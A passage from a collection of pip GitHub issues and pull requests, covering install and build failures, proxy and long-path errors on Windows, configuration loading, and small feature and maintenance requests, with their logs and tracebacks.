  note: This error originates from a subprocess, and is likely not a problem with pip.
  full command: /tmp/testenv/bin/python /tmp/testenv/lib/python3.10/site-packages/pip/_vendor/pep517/in_process/_in_process.py get_requires_for_build_wheel /tmp/tmpng4ao8h5
  cwd: /tmp/pip-install-eos0zrxs/scikit-image_43ca98b65312486da4e3637012339511
  Getting requirements to build wheel ... error
error: subprocess-exited-with-error

× Getting requirements to build wheel did not run successfully.
│ exit code: 1
╰─> See above for output.

note: This error originates from a subprocess, and is likely not a problem with pip.
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: anntzer
labels: state: needs discussion: This needs some more discussion
C: build logic: Stuff related to metadata generation / wheel generation
issue_11271: state: open
title: PIP not using proxy correctly in VENV
body: ### Description

Not sure if this a bug or is somehow expected behavior... But it is annoying AF.
When in a venv, pip throws the following error:
(venv) C:\Users\tmacris>pip install --proxy http://proxyvip.int.cdphp.com:8080 pandas
ERROR: Could not install packages due to an OSError: Proxy URL had no scheme, should start with http:// or https://

When not in a venv, this command executes without issue.

Some web help suggested manually setting the env, but mine was already set:
(venv) C:\Users\tmacris>set https_proxy
HTTPS_PROXY=proxyvip.int.cdphp.com:8080

(venv) C:\Users\tmacris>set http_proxy
HTTP_PROXY=proxyvip.int.cdphp.com:8080

If I try it without the proxy argument I get identical results. (works outside of venv but not in venv)

### Expected behavior

Package gets installed to venv

### pip version

21.1.2

### Python version

 3.10

### OS

Windows10

### How to Reproduce

Unsure. I didn't do anything special.
python -m venv venv
venv/Scripts/activate
pip install --proxy https://your-proxy:port pandas

### Output

```shell
PS C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts> .\venv\Scripts\activate
(venv) PS C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts> pip install --verbose --proxy http://proxyvip.int.cdphp.com:8080 future
Using pip 21.1.2 from C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip (python 3.10)
Non-user install because site-packages writeable
Created temporary directory: C:\Users\tmacris\AppData\Local\Temp\pip-ephem-wheel-cache-p3bqrc69
Created temporary directory: C:\Users\tmacris\AppData\Local\Temp\pip-req-tracker-u5y5d6ro
Initialized build tracking at C:\Users\tmacris\AppData\Local\Temp\pip-req-tracker-u5y5d6ro
Created build tracker: C:\Users\tmacris\AppData\Local\Temp\pip-req-tracker-u5y5d6ro
Entered build tracker: C:\Users\tmacris\AppData\Local\Temp\pip-req-tracker-u5y5d6ro
Created temporary directory: C:\Users\tmacris\AppData\Local\Temp\pip-install-nmpqiv2x
1 location(s) to search for versions of future:
* https://pypi.org/simple/future/
Fetching project page and analyzing links: https://pypi.org/simple/future/
Getting page https://pypi.org/simple/future/
Found index url https://pypi.org/simple
Looking up "https://pypi.org/simple/future/" in the cache
Request header has "max_age" as 0, cache bypassed
ERROR: Could not install packages due to an OSError.
Traceback (most recent call last):
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\adapters.py", line 412, in send
    conn = self.get_connection(request.url, proxies)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\adapters.py", line 309, in get_connection
    proxy_manager = self.proxy_manager_for(proxy)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\adapters.py", line 193, in proxy_manager_for
    manager = self.proxy_manager[proxy] = proxy_from_url(
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\urllib3\poolmanager.py", line 536, in proxy_from_url
    return ProxyManager(proxy_url=url, **kw)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\urllib3\poolmanager.py", line 480, in __init__
    raise ProxySchemeUnknown(proxy.scheme)
pip._vendor.urllib3.exceptions.ProxySchemeUnknown: Proxy URL had no scheme, should start with http:// or https://

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\commands\install.py", line 318, in run
    requirement_set = resolver.resolve(
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\resolution\resolvelib\resolver.py", line 127, in resolve
    result = self._result = resolver.resolve(
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 473, in resolve
    state = resolution.resolve(requirements, max_rounds=max_rounds)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 341, in resolve
    name, crit = self._merge_into_criterion(r, parent=None)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\resolvelib\resolvers.py", line 172, in _merge_into_criterion
    if not criterion.candidates:
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\resolvelib\structs.py", line 139, in __bool__
    return bool(self._sequence)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 143, in __bool__
    return any(self)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 129, in <genexpr>
    return (c for c in iterator if id(c) not in self._incompatible_ids)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\resolution\resolvelib\found_candidates.py", line 30, in _iter_built
    for version, func in infos:
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\resolution\resolvelib\factory.py", line 269, in iter_index_candidate_infos
    result = self._finder.find_best_candidate(
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\package_finder.py", line 879, in find_best_candidate
    candidates = self.find_all_candidates(project_name)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\package_finder.py", line 824, in find_all_candidates
    page_candidates = list(page_candidates_it)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\sources.py", line 134, in page_candidates
    yield from self._candidates_from_page(self._link)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\package_finder.py", line 783, in process_project_url
    html_page = self._link_collector.fetch_page(project_url)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\collector.py", line 512, in fetch_page
    return _get_html_page(location, session=self.session)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\collector.py", line 422, in _get_html_page
    resp = _get_html_response(url, session=session)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\collector.py", line 120, in _get_html_response
    resp = session.get(
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\sessions.py", line 555, in get
    return self.request('GET', url, **kwargs)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\network\session.py", line 449, in request
    return super().request(method, url, *args, **kwargs)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\sessions.py", line 542, in request
    resp = self.send(prep, **send_kwargs)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\sessions.py", line 655, in send
    r = adapter.send(request, **kwargs)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\cachecontrol\adapter.py", line 53, in send
    resp = super(CacheControlAdapter, self).send(request, **kw)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\adapters.py", line 414, in send
    raise InvalidURL(e, request=request)
pip._vendor.requests.exceptions.InvalidURL: Proxy URL had no scheme, should start with http:// or https://
1 location(s) to search for versions of pip:
* https://pypi.org/simple/pip/
Fetching project page and analyzing links: https://pypi.org/simple/pip/
Getting page https://pypi.org/simple/pip/
Found index url https://pypi.org/simple
Looking up "https://pypi.org/simple/pip/" in the cache
Request header has "max_age" as 0, cache bypassed
There was an error checking the latest version of pip
Traceback (most recent call last):
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\adapters.py", line 412, in send
    conn = self.get_connection(request.url, proxies)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\adapters.py", line 309, in get_connection
    proxy_manager = self.proxy_manager_for(proxy)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\adapters.py", line 193, in proxy_manager_for
    manager = self.proxy_manager[proxy] = proxy_from_url(
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\urllib3\poolmanager.py", line 536, in proxy_from_url
    return ProxyManager(proxy_url=url, **kw)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\urllib3\poolmanager.py", line 480, in __init__
    raise ProxySchemeUnknown(proxy.scheme)
pip._vendor.urllib3.exceptions.ProxySchemeUnknown: Proxy URL had no scheme, should start with http:// or https://

During handling of the above exception, another exception occurred:

Traceback (most recent call last):
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\self_outdated_check.py", line 152, in pip_self_version_check
    best_candidate = finder.find_best_candidate("pip").best_candidate
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\package_finder.py", line 879, in find_best_candidate
    candidates = self.find_all_candidates(project_name)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\package_finder.py", line 824, in find_all_candidates
    page_candidates = list(page_candidates_it)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\sources.py", line 134, in page_candidates
    yield from self._candidates_from_page(self._link)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\package_finder.py", line 783, in process_project_url
    html_page = self._link_collector.fetch_page(project_url)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\collector.py", line 512, in fetch_page
    return _get_html_page(location, session=self.session)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\collector.py", line 422, in _get_html_page
    resp = _get_html_response(url, session=session)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\index\collector.py", line 120, in _get_html_response
    resp = session.get(
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\sessions.py", line 555, in get
    return self.request('GET', url, **kwargs)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_internal\network\session.py", line 449, in request
    return super().request(method, url, *args, **kwargs)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\sessions.py", line 542, in request
    resp = self.send(prep, **send_kwargs)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\sessions.py", line 655, in send
    r = adapter.send(request, **kwargs)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\cachecontrol\adapter.py", line 53, in send
    resp = super(CacheControlAdapter, self).send(request, **kw)
  File "C:\Users\tmacris\OneDrive\OneDrive - CDPHP\PycharmProjects\tnmscripts\venv\lib\site-packages\pip\_vendor\requests\adapters.py", line 414, in send
    raise InvalidURL(e, request=request)
pip._vendor.requests.exceptions.InvalidURL: Proxy URL had no scheme, should start with http:// or https://
Removed build tracker: 'C:\\Users\\tmacris\\AppData\\Local\\Temp\\pip-req-tracker-u5y5d6ro'
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: klaypigeon
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11252: state: open
title: Error: Installing Python libraries with pip
body: ### Description

I have windows 10. Python 3.10. And an updated version of pip.

I downloaded some Python libraries to my computer. and every time I try to install them I get the following error. for example: I try to install numpy using the following command:

pip install C:\Users\Tania\Downloads\numpy-1.23.1.tar.gz
I get this error:

`Defaulting to user installation because normal site-packages is not writeable
Processing c:\users\tania\downloads\numpy-1.23.1.tar.gz
  Installing build dependencies ... error
  error: subprocess-exited-with-error

  × pip subprocess to install build dependencies did not run successfully.
  │ exit code: 1
  ╰─> [8 lines of output]
      Ignoring packaging: markers 'platform_machine == "arm64"' don't match your environment
      WARNING: Retrying (Retry(total=4, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x000001812FF39D80>: Failed to establish a new connection: [Errno 11001] getaddrinfo failed')': /simple/setuptools/
      WARNING: Retrying (Retry(total=3, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x000001812FF39960>: Failed to establish a new connection: [Errno 11001] getaddrinfo failed')': /simple/setuptools/
      WARNING: Retrying (Retry(total=2, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x000001812FF39B10>: Failed to establish a new connection: [Errno 11001] getaddrinfo failed')': /simple/setuptools/
      WARNING: Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x000001812FF3B880>: Failed to establish a new connection: [Errno 11001] getaddrinfo failed')': /simple/setuptools/
      WARNING: Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NewConnectionError('<pip._vendor.urllib3.connection.HTTPSConnection object at 0x000001812FF3A440>: Failed to establish a new connection: [Errno 11001] getaddrinfo failed')': /simple/setuptools/
      ERROR: Could not find a version that satisfies the requirement setuptools==59.2.0 (from versions: none)
      ERROR: No matching distribution found for setuptools==59.2.0`



### Expected behavior

_No response_

### pip version

v22.1.2

### Python version

3.10

### OS

win 10

### How to Reproduce

1. Download a package.
2. Installation

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: eli1con
labels: type: support: User Support
state: needs reproducer: Need to reproduce issue
issue_11249: state: open
title: Load user config with existing `PIP_CONFIG_FILE`
body: If `PIP_CONFIG_FILE` is set to an existing file, the user configuration
is currently not loaded. This commit changes this behavior, so that the
user configuration will be loaded either way.

This adheres to the [documentation](https://github.com/pypa/pip/blame/f66b3e8d0168990e35f981e77b6abe6a6974c4ee/docs/html/topics/configuration.md#L84-L105) and fixes #10643.

Implementing tests for this is currently not possible without more
monkey patching methods, which would have to allow us to load temporary
files for config files with fixed paths.

This is a breaking change if a user depends on the existence of
`PIP_CONFIG_FILE` leading to the user configuration file being skipped.
user: janEbert
issue_11231: state: open
title:  pip install generates file paths > 260 which break on Windows
body: ### Description

NB: This is a cross-bug report with https://github.com/pypa/pipenv/issues/5160. As per @matteius advice I am putting this on pip backlog.

pip can generate file paths during build which are more than 260 characters which breaks on Windows as described in this issue by https://github.com/netleibi/fastchunking/issues/6#issuecomment-877677653 by @netleibi

There are no suitable OS workarounds and therefore I propose that this is a pip bug.

### Expected behavior


1. It should at least warn that long file paths are there and that users should apply a workaround to trim build path prefix using TMPDIR=C:\temp && TEMP=C:\temp or similar
2. It should generate shorter paths.


### pip version

22.1.2

### Python version

3.9.7

### OS

Windows 10

### How to Reproduce

pip install fastchunking

### Output

```shell
$ pip install fastchunking
Collecting fastchunking
  Downloading fastchunking-0.0.3.tar.gz (24 kB)
  Preparing metadata (setup.py): started
  Preparing metadata (setup.py): finished with status 'done'
Collecting pybindgen
  Using cached PyBindGen-0.22.1-py2.py3-none-any.whl (152 kB)
Using legacy 'setup.py install' for fastchunking, since package 'wheel' is not installed.
Installing collected packages: pybindgen, fastchunking
  Running setup.py install for fastchunking: started
  Running setup.py install for fastchunking: finished with status 'error'
  error: subprocess-exited-with-error

  Running setup.py install for fastchunking did not run successfully.
  exit code: 1

  [50 lines of output]
  Generating file C:\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\build\rabinkarprh.cpp
  running install
  running build
  running build_py
  creating build\lib.win-amd64-3.10
  creating build\lib.win-amd64-3.10\fastchunking
  copying fastchunking\benchmark.py -> build\lib.win-amd64-3.10\fastchunking
  copying fastchunking\test.py -> build\lib.win-amd64-3.10\fastchunking
  copying fastchunking\__init__.py -> build\lib.win-amd64-3.10\fastchunking
  creating build\lib.win-amd64-3.10\lib
  copying lib\rabinkarpgen.py -> build\lib.win-amd64-3.10\lib
  copying lib\rabinkarp_gen.py -> build\lib.win-amd64-3.10\lib
  copying lib\__init__.py -> build\lib.win-amd64-3.10\lib
  running build_ext
  building 'fastchunking._rabinkarprh' extension
  creating build\temp.win-amd64-3.10
  creating build\temp.win-amd64-3.10\Release
  creating build\temp.win-amd64-3.10\Release\Users
  creating build\temp.win-amd64-3.10\Release\Users\matte
  creating build\temp.win-amd64-3.10\Release\Users\matte\AppData
  creating build\temp.win-amd64-3.10\Release\Users\matte\AppData\Local
  creating build\temp.win-amd64-3.10\Release\Users\matte\AppData\Local\Temp
  creating build\temp.win-amd64-3.10\Release\Users\matte\AppData\Local\Temp\pip-install-ii196agq
  creating build\temp.win-amd64-3.10\Release\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7
  creating build\temp.win-amd64-3.10\Release\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\build
  creating build\temp.win-amd64-3.10\Release\lib
  C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -Ilib -IC:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.1520.0_x64__qbz5n2kfra8p0\include -IC:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.1520.0_x64__qbz5n2kfra8p0\Include -IC:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\include -IC:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\include\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.19041.0\ucrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.19041.0\shared -IC:\Program Files (x86)\Windows Kits\10\include\10.0.19041.0\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.19041.0\winrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.19041.0\cppwinrt /EHsc /TpC:\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\build\rabinkarprh.cpp /Fobuild\temp.win-amd64-3.10\Release\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\build\rabinkarprh.obj
  rabinkarprh.cpp
  lib\rabinkarp.h(116): warning C4267: 'initializing': conversion from 'size_t' to 'unsigned int', possible loss of data
  lib\rabinkarp.h(171): warning C4267: 'initializing': conversion from 'size_t' to 'int', possible loss of data
  lib\rabinkarp.h(214): warning C4267: 'initializing': conversion from 'size_t' to 'unsigned int', possible loss of data
  C:\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\lib\characterhash.h(62): warning C4293: '>>': shift count negative or too big, undefined behavior
  C:\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\lib\characterhash.h(55): note: while compiling class template member function 'CharacterHash<uint32,unsigned char>::CharacterHash(hashvaluetype,uint32)'
          with
          [
              hashvaluetype=uint32
          ]
  lib\rabinkarp.h(34): note: see reference to function template instantiation 'CharacterHash<uint32,unsigned char>::CharacterHash(hashvaluetype,uint32)' being compiled
          with
          [
              hashvaluetype=uint32
          ]
  lib\rabinkarp.h(81): note: see reference to class template instantiation 'CharacterHash<uint32,unsigned char>' being compiled
  C:\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\lib\characterhash.h(64): warning C4293: '>>': shift count negative or too big, undefined behavior
  C:\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\lib\characterhash.h(67): warning C4293: '<<': shift count negative or too big, undefined behavior
  C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\bin\HostX86\x64\cl.exe /c /nologo /Ox /W3 /GL /DNDEBUG /MD -Ilib -IC:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.1520.0_x64__qbz5n2kfra8p0\include -IC:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.1520.0_x64__qbz5n2kfra8p0\Include -IC:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\include -IC:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\include\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.19041.0\ucrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.19041.0\shared -IC:\Program Files (x86)\Windows Kits\10\include\10.0.19041.0\um -IC:\Program Files (x86)\Windows Kits\10\include\10.0.19041.0\winrt -IC:\Program Files (x86)\Windows Kits\10\include\10.0.19041.0\cppwinrt /EHsc /Tplib/rabinkarp.cpp /Fobuild\temp.win-amd64-3.10\Release\lib/rabinkarp.obj
  rabinkarp.cpp
  C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\bin\HostX86\x64\link.exe /nologo /INCREMENTAL:NO /LTCG /DLL /MANIFEST:EMBED,ID=2 /MANIFESTUAC:NO /LIBPATH:C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.1520.0_x64__qbz5n2kfra8p0\libs /LIBPATH:C:\Program Files\WindowsApps\PythonSoftwareFoundation.Python.3.10_3.10.1520.0_x64__qbz5n2kfra8p0\PCbuild\amd64 /LIBPATH:C:\Program Files (x86)\Microsoft Visual Studio\2019\BuildTools\VC\Tools\MSVC\14.29.30133\lib\x64 /LIBPATH:C:\Program Files (x86)\Windows Kits\NETFXSDK\4.8\lib\um\x64 /LIBPATH:C:\Program Files (x86)\Windows Kits\10\lib\10.0.19041.0\ucrt\x64 /LIBPATH:C:\Program Files (x86)\Windows Kits\10\lib\10.0.19041.0\um\x64 /EXPORT:PyInit__rabinkarprh build\temp.win-amd64-3.10\Release\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\build\rabinkarprh.obj build\temp.win-amd64-3.10\Release\lib/rabinkarp.obj /OUT:build\lib.win-amd64-3.10\fastchunking\_rabinkarprh.cp310-win_amd64.pyd /IMPLIB:build\temp.win-amd64-3.10\Release\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\build\_rabinkarprh.cp310-win_amd64.lib
  LINK : fatal error LNK1104: cannot open file 'build\temp.win-amd64-3.10\Release\Users\matte\AppData\Local\Temp\pip-install-ii196agq\fastchunking_0899c9e99e74493f853fd48e3bdd72a7\build\_rabinkarprh.cp310-win_amd64.exp'
  error: command 'C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\BuildTools\\VC\\Tools\\MSVC\\14.29.30133\\bin\\HostX86\\x64\\link.exe' failed with exit code 1104
  [end of output]

  note: This error originates from a subprocess, and is likely not a problem with pip.
error: legacy-install-failure

Encountered error while trying to install package.

fastchunking

note: This is an issue with the package mentioned above, not pip.
hint: See above for output from the failure.
```


### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: truekonrads
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11227: state: open
title: Warn when pip's Python is not the same as PATH's Python
body: ### What's the problem this feature will solve?

If/when people have multiple Python versions installed and also have pip installed (globally) it happens that `pip` doesn't refer to the `python3` on the current PATH



### Describe the solution you'd like

Adding a single line warning that `sys.executable` != `python3-on-$PATH` would suffice if `sys.argv[0] == 'pip'`.

### Alternative Solutions

Generally the solution I tell people is to run `pythonX.X -m pip` instead of `pip`.

### Additional context

I'd be happy to provide a draft PR for this feature if it helps establishing feasibility if necessary, or provide the PR to implement this in general :)

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: supakeen
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11226: state: open
title: chore: Set permissions for GitHub actions
body:  Restrict the GitHub token permissions only to the required ones; this way, even if the attackers will succeed in compromising your workflow, they won’t be able to do much.

- Included permissions for the action. https://github.com/ossf/scorecard/blob/main/docs/checks.md#token-permissions

https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions

https://docs.github.com/en/actions/using-jobs/assigning-permissions-to-jobs

[Keeping your GitHub Actions and workflows secure Part 1: Preventing pwn requests](https://securitylab.github.com/research/github-actions-preventing-pwn-requests/)

Signed-off-by: naveen <172697+naveensrinivasan@users.noreply.github.com>

user: naveensrinivasan
labels: skip news: Does not need a NEWS file entry (eg: trivial changes)
issue_11221: state: open
title: Show 'home-page' project URL when Home-Page metadata value is not set
body: ### What's the problem this feature will solve?

When installing a pyproject.toml-only project, the `Home-Page` metadata won't be set (as there's no way to specify it: PEP 621 only maps to `Project-Url`). This means `pip show` won't provide any URL to the user.

### Describe the solution you'd like

If `Home-Page` is not set, instead select one of the project URLs (if present), with the following order of preference:
* Home-page
* Homepage
* homepage
* Source
* fallback: the first project-URL in the metadata

### Alternative Solutions

`pip show -v` shows all project URLs, but that still shows an empty `Home-page:` field

### Additional context

Project URLs were included in `pip show -v` in #10827

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: EpicWink
labels: type: feature request: Request for a new feature
S: needs triage: Issues/PRs that need to be triaged
issue_11213: state: open
title: --prefix does not work with pip unistall
body: ### Description

Running this command
```bash
pip install --ignore-installed --no-deps --prefix /tmp/testpip requests
```
installs requests into /tmp/testpip.

But running this command:
```bash
pip uninstall --prefix /tmp/testpip requests
```
results in this error:
```
Usage:   
  pip uninstall [options] <package> ...
  pip uninstall [options] -r <requirements file> ...

no such option: --prefix
```

### Expected behavior

pip should uninstall requests from the given prefix. If install allows this argument, uninstall should allow it too.

### pip version

22.1.2

### Python version

3.10

### OS

Manjaro

### How to Reproduce

See above

### Output

_No response_

### Code of Conduct

- [X] I agree to follow the [PSF Code of Conduct](https://www.python.org/psf/conduct/).
user: JakobDev
labels: type: bug: A confirmed bug or unintended behavior
S: needs triage: Issues/PRs that need to be triaged
issue_11207: state: open
title:  Get rid of captured_stdout and captured_stderr
body: <!---
Thank you for your soon to be pull request. Before you submit this, please
double check to make sure that you've added a news file fragment. In pip we
generate our NEWS.rst from multiple news fragment files, and all pull requests
require either a news file fragment or a marker to indicate they don't require
one.

To read more about adding a news file fragment for your PR, please check out
our documentation at: https://pip.pypa.io/en/latest/development/contributing/#news-entries
-->
Closes #11205 
user: q0w
labels: skip news: Does not need a NEWS file entry (eg: trivial changes)
type: maintenance: Related to Development and Maintenance Processes
issue_11205: state: open
title: Get rid of `captured_stdout` and `captured_stderr` from utils/misc.py
